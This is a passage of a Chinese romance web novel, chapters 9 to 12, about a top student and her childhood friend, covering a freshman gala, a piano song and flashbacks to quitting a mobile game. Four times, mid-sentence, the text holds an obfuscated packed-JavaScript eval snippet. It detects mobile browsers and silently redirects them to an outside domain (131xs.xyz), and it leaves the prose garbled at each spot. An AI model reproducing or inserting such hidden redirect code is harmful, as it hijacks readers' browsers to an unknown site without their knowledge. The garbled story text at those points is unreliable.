王涵和李悦不死心，在底下软磨硬泡地乱猜着。路悠悠在上面听着她们你一言我一语，又悄悄把掀开的被角拉回，重新裹紧了自己，像只躲回壳里的小蜗牛，继续安静地装睡。 寝室的空调发出细微的嗡鸣，窗外传来远处篮球场的拍球声，一切都笼罩在夏日夜晚特有的慵懒光晕里。 * 接下来的几天军训，路悠悠提前开启了她的大学学霸之旅，用厚厚的编程类书籍填满了她的空闲时光。 乔若溪原本不想那么早就开始学习，奈何路悠悠给她创造的焦虑空间太大，跟在学霸身边就这点不好，太容易焦虑了。 下午六点半，夕阳的余晖将宿舍烘托成橘红色，窗外传来归鸟的啼鸣。两人点了外卖在宿舍吃晚饭，路悠悠一边吃着饭，一边还在翻书。 乔若溪忍不住问道：“悠悠，昨天胖子喊吃饭，你怎么不去啊？该不会是……因为他夺了你的高考状元，你现在要卧薪尝胆一雪前耻吧？” 路悠悠吃饭的动作微微一顿：“高考状元本该就是他的，我当时状态一般，考696分已经是老天眷顾了。” 她冲乔若溪笑了笑，洁白的牙齿整齐又好看。 乔若溪莞尔：“你能这么想我就放心了，说实话悠悠，我最佩服你的，并不是你的学习成绩，而是能把任何事都看成好事的这份心态。” “溪溪谬赞了，我也才十八岁而已，进步空间还很大呢！” “……给你点阳光你就灿烂上了……” “哈哈……” 两人说笑的间隙，乔若溪忽然眼珠一转，福至心灵：“那你怎么突然开始用功读书……该不会，是在躲江雪岩吧？” 路悠悠下意识狡辩：“谁躲他了？” 乔若溪看着她瞬间绷直的背，恍然大悟地拍手笑起来：“怪不得！我说你怎么突然爱上点外卖了，原来是怕去食堂撞见胖子会尴尬啊！” 路悠悠张了张嘴，想继续狡辩，却想不出合适的理由。窗外的晚霞愈发绚烂，将她的脸颊也染上了绯色。 乔若溪连连叹气，故意拖长语调：“可怜的胖子哟——就因为一次英雄救美的光荣事迹，就这么被我们无情抛弃啦！” “什么抛弃不抛弃的”，路悠悠耳根微热，“我就是觉得……稍微有点别扭，过两天就好了。” “天哪！”乔若溪眼睛亮得惊人：“这么多年了，你终于对咱们校草生出一点不一样的感情了？” 路悠悠刚咽下去的那口水猝不及防地窜错了地方，呛得她扶桌猛咳。乔若溪赶紧跑过去，一边帮她拍背顺气，一边忍俊不禁：“别激动嘛，喜欢江雪岩又不是什么丢人的事。” 乔若溪笑得合不拢嘴，她从高一开始就在暗暗磕两人的CP，但路悠悠始终把江雪岩当哥们，此时此刻……她忽然有了种拨开乌云见月明的欣慰感。 “乔若溪！”路悠悠好不容易缓过气，又羞又急，“我就是有些不好意思而已！毕竟我们都成年了，不像小时候了……你别胡说，这要是让胖子知道了，以后连朋友都没得做！” 她语气凶巴巴的，脸颊却染着薄红，透着股欲盖弥彰的可爱。 乔若溪憋着笑一个劲儿点头：“知道了知道了，我就跟你开个玩笑，放心，我保证守口如瓶。” 怎么可能这么早就说出去呢？感情是需要慢慢培养的。 不对，悠悠和江雪岩的感情已经很深了。 准确地说——爱情是需要循序渐进的。 翌日，军训的最后一天，下午的阅兵式表演刚结束，晚上还有新生晚会。 天空湛蓝如洗，只有几缕薄云在天边轻轻飘过。 路悠悠和乔若溪走在路上，准备发消息给江雪岩约饭，以弥补上次放他鸽子的事。 “他说这会儿要去彩排，改天再约”，路悠悠盯着手机上的消息，目光中满是诧异。 “彩排？他居然有节目？” 乔若溪摸着手机，眼睛一下子亮了：“校草的节目哎！我第二个短视频素材这不就来了嘛，必须去后台近距离拍摄！对了，他要表演什么？” 乔若溪不知道，江雪岩除了他那张绝世容颜之外，还有什么特长。 路悠悠盯着手机愣了一会儿，震惊道：“他说……独唱。” “独唱？”乔若溪凑近：“他唱歌好听吗？” 路悠悠迟疑了一下：“应该挺好听的。” 其实路悠悠也不知道江雪岩唱歌到底好不好听，她只记得初二时班级合唱比赛，江雪岩就站在她前面。 合唱唱的是民谣，音调很高，大家都没学过美声，只一个劲儿地把声音往高里拔，谁也没觉得谁唱得有多好听。 那时的江雪岩还有点儿胖，性格也低调，文艺活动从来不是他的主场。 所以听到他要在新生晚会上独唱，路悠悠确实非常意外。 乔若溪挠了挠头，从网上翻出江雪岩在KTV的那张“状元照”——“你看这张照片，看起来唱的很high啊，你当时不在场吗？” 路悠悠摇头：“不在，那是高中，我又不跟他一个学校。” “好吧，那就只能拭目以待了。” …… 晚上八点，南大新生晚会正式开幕，大礼堂里灯火辉煌，穹顶上的水晶吊灯折射出璀璨光芒。 江雪岩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507446|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的节目排在倒数第二个，晚会开幕时，他正坐在休息室刷手机，隐隐约约好像听到有人喊了一声“胖子”，他抬头寻找声音出处，视线却被一个穿白色晚礼服的女生挡住，女生裙摆上的亮片在灯光下闪闪发光。 “同学，可以加个微信吗？” 女生容貌清秀，目光盈盈看着他，“虽然我今天表演的是诗朗诵，但我很喜欢钢琴，从六岁开始就一直练习，我看你弹得很好，以后我们可以多交流交流……” “不好意思，我朋友来找我了，改日再聊”，江雪岩起身，指了指趴在窗户上的俩二货，绕过她径直走向门外。 女生回头，看到一个及肩波波头的短发女生和一个扎马尾的女生，两人正兴冲冲地朝江雪岩挥手。 “原来是他的发小”，女生原本落寞的脸上又有了些许生机，“那就待会儿再找他聊吧。” 她认得那个短发女生——最近很火的跑步视频主角，发布者说她是江雪岩的发小。既然是发小来找，他说改天再聊也是情理之中…… 路悠悠和乔若溪看着身穿黑色西装走向她们的江雪岩，有些不可置信地迎了上去。西装妥帖地包裹着他挺拔的身材，领口露出的一截白色衬衫更衬得他气质出众。 “胖子——不对不对，校草大人！”乔若溪夸张地咽了咽口水，伸手替他理了理本就很挺括的衣领：“你这简直是要出道啊！老天爷太偏心了，要不你直接进娱乐圈算了？”她眼睛亮晶晶的，写满了惊艳。 江雪岩笑笑：“不了。” “为什么？” “个人喜好。” 乔若溪见路悠悠一直没说话，用手肘碰了碰她：“悠悠，看傻了？” 路悠悠忽然勾起一抹坏笑：“我在考虑以后要不要开娱乐公司，把我兄弟打造成顶流。” 江雪岩睨她一眼：“那你也得请得动我。” 路悠悠抬脚就往他屁股上踢了一脚：“滚！” 这个“滚！”是她跟江雪岩学的，今天第一次用。 两人来后台找江雪岩，是为了座位的事。 信息院的座位虽然对准舞台中央，但太过靠后，五十几排，不用望远镜根本看不清舞台上的人。 也不知道江雪岩怎么认识的策划老师，没到五分钟就给她们弄来了两张第四排的座位票。 * 江雪岩回到休息室时，之前跟他搭讪的女生正坐在他原来的位置上，见他进来，立刻笑着起身。 他点头致意，刻意选了个离她较远的位置坐下。休息室的灯光在他轮廓分明的侧脸上投下淡淡的阴影。 江雪岩觉得，女生们真的很执着，也很勇敢。 但有时候她们的执着和勇敢没有用到对的地方。 那女生见他坐到了远处，又起身向他走了过来，高跟鞋敲击地面的声音在安静的休息室里格外清晰。 9. 第九章 “同学，我是社科院的秦墨桦，可以加个微信吗？” 一袭晚礼服勾勒出秦墨桦优雅的身形，她目光明亮，带着恰到好处的期待。 江雪岩轻叹口气，拿出手机，打开微信二维码送了出去。 “谢谢”，秦墨桦牵起嘴角，加了他微信，又坐在前排的椅子上，想跟他多聊几句，“你是从几岁开始学琴的？看你游刃有余的样子，应该弹了很多年吧？” “嗯，很多年了”，江雪岩应得简短，随后从容起身，“我有事出去一下，你忙。” “……” 直到他的背影消失在门口，秦墨桦才后知后觉地品出那几句话里的意味。他没有失礼，也没有多余的情绪，可那份周到本身，就是一种不着痕迹的、百分之百的拒绝。 …… 路悠悠和乔若溪坐在“靠关系”得来的第四排座位上，看着近在咫尺的舞台，兴奋不已，挥舞荧光棒的手也格外用力。 但这股子热情也只持续了半个小时，半个小时后，看着舞台上陌生的舞蹈面孔，路悠悠在一片喧嚣的掩护下，悄悄点开了《王者荣耀》游戏界面。 “TIMI！” 熟悉的登录音刚响起，乔若溪就凑了过来，在她耳边压低声音，语气低沉又故意拖得阴森：“敢在这儿玩游戏，不怕江雪岩知道了打断你的腿？” 路悠悠明知她是故意吓人，还是忍不住一哆嗦。 活到十八岁，她几乎没什么怕的，偏偏在“打游戏”这件事上，被江雪岩管得服服帖帖。 初一那年，路悠悠迷上了《王者荣耀》。 这对身为年级第一的好学生来说可不是什么值得炫耀的事。 值得炫耀的是，父母知道她上进，给了她足够的信任，从来没有在学习上逼她不说，玩耍时间也让她自己安排。 于是，年级第一就开启了她一边沉迷游戏、一边艰难维持学业的矛盾生活。 每天放学，作业可以搁置，游戏必须先行——至少两局。 写完作业后，更是变本加厉，三局、四局、五局……手指在屏幕上飞舞，时间在峡谷中流逝。最疯狂的那次，她战至凌晨三点，第二天数学课上昏昏欲睡，破天荒地做错了一道基础题。 父母见她眼下的青黑和萎靡的精神，只当是学业压力过大，变着法子给她补充营养，温言劝她别太焦虑。 他们的体贴像一根根细针，扎得她良心不安。 每晚，她都会斩钉截铁地在日记本上立下“再也不打游戏”的铮铮誓言，第二天又对自己说“只打一把”，乃至两把、三把…… 日子就这么艰难又平静地推进着，路悠悠一边以“最近功课有点儿难，我感觉有点吃力”搪塞父母，一边又以“家里最近发生了点事，不过已经解决了，我会调整状态的”来搪塞老师。 直到某个午后，她终于绷不住，向最好的朋友江雪岩坦白了一切。 江雪岩听罢，肩膀抖得像是犯了癫痫，笑得半天直不起腰。 路悠悠气得转身就要走，却被他一把拉住。 “什么段位了？”他忍着笑问。 “铂金四，两星”，路悠悠冷冷道，她撇过头不去看他，免得被他那张欠揍的脸气到。 “两个月了，才铂金四？”江雪岩的嘴角又开始疯狂上扬。 “这不重要！”路悠悠强调，“我现在只想戒掉游戏，好好学习，你不知道，我最近胃病又犯了。” “吃着碗里的，想着锅里的，焦虑的苦，脾胃总会先知道。” 江雪岩虽然成绩不如她，但懂的旁门左道倒是不少，路悠悠想。 “别废话，你就说有没有办法？你沉迷过游戏没？怎么戒的？” 江雪岩故作沉思：“沉迷过吧……但现在，我沉迷于学习。” 路悠悠：“……” “学习哪有游戏好玩？” 江雪岩：“你不懂，书中自有黄金屋……” 路悠悠被他逗笑了：“怎么感觉你才是年级第一。” 江雪岩挑眉：“你继续沉迷游戏，我离年级第一也不远了……” 路悠悠：“……敢情你这家伙是盼着我沉迷游戏！怪不得刚刚笑得那么开心！” 江雪岩：“倒也也不尽如此，我要想拿年级第一，就得堂堂正正地拿，怎么能趁你坠入歧途乘虚而入呢？” 路悠悠：“……坠入歧途乘虚而入……” 她怀疑江雪岩在用激将法，但这招的确奏效了。 “行，你等着，本姑娘哪怕沉迷游戏，也不会让你抢走年级第一的位置！” 当晚，路悠悠破天荒地没有玩游戏，有好几次，她心痒拿起手机，又想起江雪岩那句“坠入歧途趁虚而入”，便咬牙切齿地放下了手机。 就这样连续忍了三天，第四天，她的防线开始松动。 “打一把吧……” “就一把，顶多两把，再多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507447|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就是小狗。” 路悠悠一边自言自语，一边打开游戏界面，点进排位赛。 还没开始匹配，屏幕顶端忽然弹出一条邀请：呼噜呼噜邀请组队。 行吧，反正她的游戏好友都是微信好友，不是同学就是亲戚，双排就双排，路悠悠点了接受，对方立马开始匹配。 匹配的间隙，她习惯性瞥了一眼右侧的好友列表，目光落在“呼噜呼噜”这个ID上——后面跟着的备注名赫然写着：胖子。 “……” 匹配成功，她只得点了确认。几乎就在同时，江雪岩的微信消息跳了出来：［年级第一又来峡谷视察工作了？］ 路悠悠不理他，认真选英雄，调配铭文出装…… 那一局，她赢得前所未有的轻松。全队拿下28个人头，江雪岩一人便贡献了15次击杀和3次助攻，当之无愧的MVP。 当闪烁着璀璨光芒的“胜利”图标浮现时，江雪岩的消息又来了： ［来微信，咱俩得约法三章。］ 约法三章？路悠悠满心疑惑，退出了游戏界面。 那时她的微信名字简单又霸气，叫路大女侠。 路大女侠：［约什么法？搞这么正式］ 胖子：［不是想戒游戏？］ 路悠悠对着屏幕轻嗤一声：［你觉得凭你几句话，就能把深陷泥潭的网瘾少女拯救出来？江雪岩同学，你是不是自信过头了？］ 胖子：［不是一句话，是一整套方案，你就说你想不想戒游戏吧］ 路大女侠：［那你先说几句听听］ 胖子：［从今天起，每天晚上八点我带你双排，周内打一把，休息日两把］ 路大女侠：［……］ 路大女侠：［你确定你是来帮我戒游戏的？］ 胖子：［别急，还有。在此基础之上，周内谁要是想打第二局，或者休息日想打第三局……］ 他故意顿了一下，才发来后半句：［谁就得主动打电话，恭恭敬敬喊对方一声‘哥哥’，或者‘姐姐’。］ 路悠悠：［这法子似乎可以一试］ 一分钟后，江雪岩的手机铃声就响了起来。 他刚按下接听键，路悠悠那清亮又故意捏得甜腻腻的声音就钻进了耳朵———“哥哥，你再陪妹妹我打一把呗，妹妹好崇拜你哦！你打的太好了，MVP求带！” 江雪岩握着手机，耳根莫名有点发烫，“你个傻子！” 10. 第十章 很快，两人开始了那天的第二把双排。 赢得毫无悬念，江雪岩再次拿下MVP。 路悠悠狗腿地给江雪岩发去了消息：［哥哥好厉害，妹妹好崇拜你哦！赞！］ 江雪岩：“……” “双排果然比一个人玩要有趣多了”，路悠悠喃喃自语时，微信提示音响起—— 胖子：［网瘾少女中毒不轻，光靠哥哥二字已经不能拯救你了］ 路大女侠：［别啊，这么快就放弃拯救陷入泥潭的朋友，你的良心不会痛吗？］ 胖子：［谁说要放弃？］ 路大女侠：［？］ 胖子：［叫哥哥叫姐姐这个方案pass，周内，如果谁想打第二把，就要跑步上下学，休息日，如果谁想打第三把，就先去跑个三公里回来再打，怎么样？敢不敢跟我约法三章？］ 路大女侠：［这原本是你想好的周内第三把，休息日第四把的方案吧？］ 胖子：［不愧是年级第一的脑子］ 路大女侠：［哼，想在本女侠面前争哥哥，做梦！］ 胖子：［……那要不这网瘾还是不戒了？］ 路大女侠：［我错了哥哥！约法三章吧！］ …… 从那以后，路悠悠就开始了跑步上学的日子。 学校离她家1.1公里，为了每天固定打两把游戏，她干脆选择天天跑步上下学。 晨光熹微，路悠悠背着书包在院子里奔跑。初春的微风拂过她微红的脸颊，及肩短发随着她的步伐轻轻晃动。 “悠悠啊，今天是要迟到了吗？怎么这么着急啊？” 小区里有几个认识的爷爷奶奶，经常在她家楼下打太极，见她着急忙慌地跑过来，忍不住开口问她。 “我在跑步锻炼身体呢奶奶！” 路悠悠撂下这句，就像一阵风消失在花园的小路上，只留下身后飘落的几片樱花花瓣。 没过多久，爷爷奶奶们私下里八卦：“悠悠好像交了个男朋友，每天早上就在小区门口等她呢，她是着急跑出去见他。” “你别瞎说，咱们悠悠是好学生，怎么会早恋？” “好学生为什么不能早恋了？不影响学习就好了呀，我主要担心的是，她男朋友看起来有点矮胖，五官长得倒是可以，但明显配不上我们悠悠……” “……” 爷爷奶奶们口中的“矮胖男朋友”，就是江雪岩。 他给路悠悠定了规矩，必须在七分钟内跑完1.1公里才能打两把《王者荣耀》。 三个月后，时间又被缩减到了六分钟、五分半。 路悠悠后来能够成为学校的体育健将，江雪岩功不可没。 后来，乔若溪听说这件事后感叹了好久：“胖子可真是把你当女儿一样疼，又是帮你戒游戏又是逼你锻炼身体的……” 路悠悠给她翻了个白眼：“是啊，他每天骑在自行车上，吹着哨子催促我往前跑，说我慢得像蜗牛，甚至有一天，他居然还拿了个五彩的鞭子，甩来甩去的……的确像个严厉又无情的老父亲。” 她说完，使劲往桌上捶了一下，仿佛眼前的桌子是某人的肚子。 乔若溪同情地望着她，果然体育健将不是那么好养成的。 “那你为啥那么听他的话？你可以偷偷打啊……” “主要是我也想戒网瘾嘛，何况我知道他是真心在帮我，我也得争口气，不能让他看笑话不是……” 路悠悠虽然嘴上这么说，其实私下里还真偷偷打过一次。 结果——被江雪岩发现了，因为她的星星无缘无故掉了一颗。 按照她和江雪岩的约法第三章：如果有人偷偷打了游戏，必须当着全班同学的面，向班里倒数第一名表白，无论男女。 那天大课间，阳光透过教室的窗户，在讲台上投下一片明亮的光斑。江雪岩走到桌前催促她上台，路悠悠软磨硬泡地求了一阵，最后被江雪岩激得没办法，只好顶着一张大义凛然的脸颤颤巍巍走上讲台。 在同学们诧异的目光下，她讪讪一笑：“我跟人打赌输了，装个样子，大家不要当真啊！” 同学们嘻嘻哈哈地起哄，路悠悠局促地站在讲台上，脸颊红扑扑的，看着坐在最后一排吊儿郎当吹口哨的倒数第一名，始终开不了口。 “行不行啊，路大女侠，你得愿赌服输啊！快点快点！” “她要干什么呀？” “不知道赌的啥，可能跳个印度舞或者新疆舞？” “……” “唱个歌吧！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507448|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片喧嚣声中，江雪岩的声音格外洪亮悦耳。 路悠悠感激地看了他一眼，那一刻她都忘了自己是因为他才站到讲台上的。 “我给大家唱个歌啊！太阳当空照，花儿对我笑……” “哈哈哈……” 教室里笑成一片，但好在路悠悠没丢脸丢太多。 从那以后，路悠悠在打游戏这件事上，对江雪岩言听计从。 年级第一的位置算是保住了，顺便还收获了个长跑健将的美名。 而那时，因为天天和江雪岩一块儿回家，路悠悠这边还发生了一点小插曲。 路父路母听说她交了个小胖子男朋友，专门开了一次以“早恋”为主题的家庭会议。 路悠悠在父母面前发誓，自己绝对没有早恋，还解释说她主要是为了提高体育成绩，才跟江雪岩走得近了些。 “你这么功利，小江知不知道？” 她刚发完誓，她妈杨子舒就笑着打趣她：“我看人小江可是真心把你当朋友的。” 路父倒是没说话，只微微皱了皱眉。 路悠悠：“……知道我们是真朋友，你们还给我讲这么多早恋的危害。” 杨子舒：“我们就给你打个预防针。” 自己姑娘她还不清楚嘛，妥妥的颜控，小江要是长高了，瘦下来了，还有早恋的可能。 路悠悠：“放心吧，你们说的这些，老师都给我们讲过千百遍了。” “……” * 夜幕为南大校园笼上了一层深蓝色的纱，唯独礼堂像一颗跳动的心脏，灯火通明，人声鼎沸，洋溢着青春的躁动。 舞台上，两男两女正在朗诵家国情怀，路悠悠坐在台下，眼睛紧紧盯着手机屏幕，微微抿着嘴唇，下颌线因专注而绷紧，整个世界仿佛都消失了，只剩下她、手柄和眼前的战场。 她最爱打的英雄是爆发力超强的安琪拉，方才她在残血的情况下反杀了对方一名英雄，正得意忘形，被突然出现的打野一击毙命。 “啊！” 屏幕变暗的瞬间，手机被人抢了过去，路悠悠急忙抬头，对上一双似笑非笑的桃花眼。那双眼睛在礼堂昏暗的光线下显得格外明亮，眼角微微上挑，带着几分狡黠和了然。 11. 第十一章 “你干嘛？我才打到一半！” 路悠悠从座位上弹起来，伸手去够手机。灯光在她微卷的发梢跳跃，江雪岩侧身避开，唇角勾起狡黠的弧度：“你马上要输了，我教你怎么反败为胜。” 不知何时他已坐到第三排，恰好嵌在她和乔若溪视野的正前方。 路悠悠抢不过他，索性趴到他座椅旁，少女纤瘦的身形在忽明忽暗的光影下像株迎风摇曳的铃兰。 “行！” 她眯起眼睛紧盯屏幕，看着安琪拉复活的瞬间，江雪岩修长的手指在装备栏轻点，操控英雄向前突进…… 没过多久，乔若溪就看见路悠悠几乎趴在江雪岩肩头，细软的发丝扫过少年颈侧，一个劲地对着他吹彩虹屁—— “哦~，你左手竟然能转的这么溜！” “哇，你怎么控住他的？太牛了！” “活该！谁让澜刚刚一直追着我杀，现在知道我的厉害了吧……哈哈哈” “大神啊，胖子你快教教我，刚刚是怎么躲掉甄姬大招的……” “……” 过了一会儿，秦墨桦踱着摇曳的步子从后台出来，刚落座就听见周围女生窃窃私语—— “看着不像是发小啊，两个人打打闹闹的样子就跟情侣似的。” “我看着也不像，你看江雪岩看她的眼神，满满的宠溺，眼睛里好多小星星啊！” “……” 秦墨桦转头往她们议论的方向看了一眼，少年正偏头躲开路悠悠抢夺手机的动作，侧脸在光晕中镀着金边，女孩笑弯的眉眼像月牙。两人身影被暖光揉成一幅油画，刺得她眼眶发酸。 秦墨桦叹了口气，有些后悔自己方才的举动。 一局战毕，江雪岩把手机还给路悠悠，路悠悠压下心底升起的“再战一局”的欲望，抬头看向舞台。 一曲舞罢，身着藏服的姑娘们礼貌地退了场，下一个节目是搞笑版舞台剧《梁山伯与祝英台》。 ?南大的学子们才华横溢，古典悲剧在他们的演绎下焕然变成令人动容的喜剧。 当“梁山伯”和“祝英台”在舞台上含情脉脉牵起手时，坐在前排的江雪岩蓦然转身，碎发在光晕中泛起栗色光泽。 路悠悠猝不及防撞进他眼眸，里面翻涌的深海让她瞬间失神。 刹那间，周遭的一切失去了声音和色彩，仿佛整个世界被按下静音键，唯独她和江雪岩是鲜活的。 “怎么了？”路悠悠强自镇定。 江雪岩梨涡浅现：“我要去准备了，马上到我。” “加油胖子！”乔若溪握拳敲了敲他的后背。 路悠悠攥紧沁汗的掌心，目送他消失在帷幕后…… “梁山伯”和“祝英台”过上了幸福的生活，还生了一双儿女，路悠悠目送他们退场，心绪却一直没从方才的“惊吓”中缓过来。 也不知过了多久，她恍惚间从主持人口中听到江雪岩三个字，目光才渐渐有了焦点。 “江雪岩出来了！”乔若溪拿着手机，盯着舞台上那个万众瞩目的身影，用力拍了路悠悠一下。 “看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507449|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，专心录你的小视频。” 话毕，路悠悠目光落在舞台上。 灯光渐渐暗下，只剩一束温柔的追光，如月光般倾泻在少年身上。他坐在钢琴前，微垂着头，额前细碎的黑发在眼睑处投下淡淡的阴影。修长而骨节分明的手指轻轻落在黑白琴键上，随着第一个音符流淌而出，整个礼堂的喧嚣瞬间沉寂。 那是一首舒缓的情歌，李健的《贝加尔湖畔》。 “在我的怀里，在你的眼里...”歌声起时，一个个荧光棒如星光亮起，慢慢汇成海一般的波浪。 嗓音低沉而清澈，像山涧溪流轻轻拍打着鹅卵石，令人心旷神怡。 他的手指在琴键上娴熟地游走，快的时候让人眼花缭乱，慢的时候又轻柔如耳语。 大礼堂前所未有的安静，在这表面的平静之下，藏着所有人莫名激烈的心绪——身高、五官、嗓音、才华、成绩……老天爷到底给江雪岩关了哪扇窗呢？ 当唱到“这一生一世，有多少你我”时，他忽然抬眼，琥珀色瞳孔射向观众席，精准锁住第四排那抹倩影。 少女攥着衣角的手指微微发抖，看着他颊边梨涡随高音加深，看着他骨节分明的手指在琴键肆意起舞，看着他那锐利又张扬的视线，她忽然紧张地绷直脊背。 最后一句歌词落下，他的手指在琴键上留下一个悠长的尾音。 整个礼堂寂静了刹那，随即爆发出雷鸣般的掌声。 他起身鞠躬，如白杨折腰，起身的一刹那，礼堂里忽然响起一阵阵女生们的尖叫。 12. 第十二章 暮色如墨，路灯在梧桐叶间投下斑驳光影。 路悠悠和乔若溪走到宿舍楼下已过了十点。 进门时，乔若溪还在美滋滋地回放今天拍的视频：“有个帅气的朋友就是好，都不用考虑肖像权……” 话音未落，她一声“哎呀”惊得路悠悠慌忙转身。 当看清楚发生了什么时，路悠悠无奈地直叹气：“这也能撞上？你太优秀了，伤到哪儿了……” 她走在乔若溪前面，给她敞开着门，结果这姑娘在门口直接右拐，撞门边儿上了。 “额头。” “额头好着，没破相。” “手。” 乔若溪扣下手机露出手背，一道浅浅的口子映入眼帘。 路悠悠：“创可贴放哪儿了？” 乔若溪吹了吹伤口：“我没创可贴。” “我出去买。” 乔若溪感激涕零：“算了算了，就这么点小伤口，晾晾就好了。” 对方没有回应，乔若溪抬起雾蒙蒙的眼睛，只见走廊尽头青蓝夜色吞没了路悠悠的身影。 “……” 她怎么觉得，悠悠是纯粹想出门，而不是想给她买创可贴呢。 乔若溪坐到椅子上，忽然想起回宿舍的路上她和路悠悠的对话—— “胖子的钢琴弹得真是出神入化，歌声更是悠扬动听，你看到没悠悠，那会儿全场女生都炸了，啧啧……我朋友简直就是个天才啊！我在说什么胡话，高考状元本身就是神一样的存在。” 乔若溪一口气说完，才发现路悠悠在一旁发呆，根本没听到她的话。 她伸手在她面前晃了晃：“路悠悠同学，我在跟你说话呢，你发什么花痴？” “啊？”路悠悠回过神来，长长睫毛在眼下投出细碎阴影：“你刚刚说什么？” “我说，江雪岩这么优秀，你眼睛瞎了吗？” 路悠悠眨了眨眼睛：“他优秀，难道我就不优秀吗？你的意思是他配我绰绰有余？” 乔若溪被她逗笑了，拍着她的背给她顺气：“我的意思是你俩挺般配的，为啥不能在一起呢？” 路悠悠开怀一笑：“这世上哪有那么多看着般配就能在一起的人，有些看着很般配的，在一起后也可能变得格格不入，不过，当朋友就能长长久久了。” 乔若溪细品她话里的意思——也不是不能跟江雪岩谈恋爱，只是她怕不能长久？ 想了想，乔若溪索性给江雪岩发了条微信：［悠悠去药店了，这么晚了，你说她一个人会不会有危险啊？］ 江雪岩很快回复了她：［你都这么说了，我不去看看也不合适。］ 乔若溪弯了弯嘴角，自言自语：你个傻胖子，要是追到了悠悠必须让我坐主桌。 …… 路悠悠出门后没有直接去药店，而是在学校的一处小花园里坐了一会儿。 树木深处，有一对情侣在接吻，换作平时，路悠悠早跑开了，今晚她却出乎意料地平静。 那对情侣似乎发现了她的目光，转移到了树后面。 路悠悠却没移开目光，只是看着树顶的夜空静静想事情。 其实，她并不是个颜控。 小学五年级的时候，江雪岩转学转到了她们班。 那个时候他比较胖，同学们很快给他起了个中肯的外号——胖子。 他平时话不多，路悠悠也极少跟他说话，期中考试后，路悠悠发现他居然考进了班级前三，才开始注意他。 好学生之间有一种无形的默契，平时大家一起讨论数学题，上课一起激烈地抢答，互相之间都会有些隐隐的惺惺相惜之情。 慢慢的，她和江雪岩从陌生人变成了普通朋友。 就这样按部就班地上了初中，她和江雪岩又被分到了同一个班里。 初一的时候，路悠悠已经长到了一米六，江雪岩却似乎没怎么长个，比小学时瘦了点，但还是比她矮，比她胖，坐在她前排。 有一天刚到学校，早自习还没开始，路悠悠趴在桌子上睡觉，忽然被教室里闹哄哄的声音吵醒。 “死胖子，你算什么东西，超老子的车不说，居然还抢老子的停车位！” “什么停车位，上面写你名字了吗？” 路悠悠懵懵懂懂地抬起头，看到三个大高个站在她书桌前面，正跟江雪岩吵架。 “怎么回事？” 她转向同桌，同桌小声告诉她，这三个人是校霸，江雪岩抢了他们的停车位，专门过来训他。 他们口中的停车位，其实就是自行车棚。 校霸级别的人物，谁也不敢惹，教室里的同学们都安静而担忧地看着小胖子被针对，心里默默为他捏了一把汗。 而正主江雪岩显然丝毫没有察觉到同学们眼里的担忧，还在那里一板一眼地跟人家僵持着，没有半点儿要道歉的意思。 路悠悠觉得她和江雪岩也算是老熟人了，不能若无其事地看着他“坠入歧途”，于是小心翼翼地戳了戳他的后背，给他递过去一张字条—— “那些人是校霸，别惹他们，你就道个歉，和气为上。” 字条被江雪岩攥在了手里，路悠悠胸有成竹地望着他，以为下一刻他就会服软。 谁知那胖乎乎的男孩突然抬起头，毫不畏惧地瞪向校霸，声音斩钉截铁：“我就不挪，你另找地方。” 路悠悠：“……” 大哥，人太犟是会挨打的！ “你小子有种，给我出来！” 带头的校霸被激怒了，一把揪住江雪岩后背的衣服。 路悠悠心头一紧，目光落在眼前那只青筋暴起的手上，也就一瞬间，她不知哪来的勇气，竟伸手拉住对方的胳膊，说了一句：“等一下！” 她的动作成功吸引了校霸的注意，连江雪岩也转过头，诧异地看着她。 路悠悠心跳如擂鼓，脸上却笑嘻嘻的，看着校霸说：“既然是学校的车棚，大家都可以停呀……你明天早点来停不就好了？” “哼，臭丫头，你算哪根葱？”校霸斜眼睨着她，居高临下，像是在打量一只自投罗网的羔羊。 路悠悠从小乖巧，很少接触这样的人，第一次被这样充满赤裸裸恶意的眼神盯着，后背有些发凉。 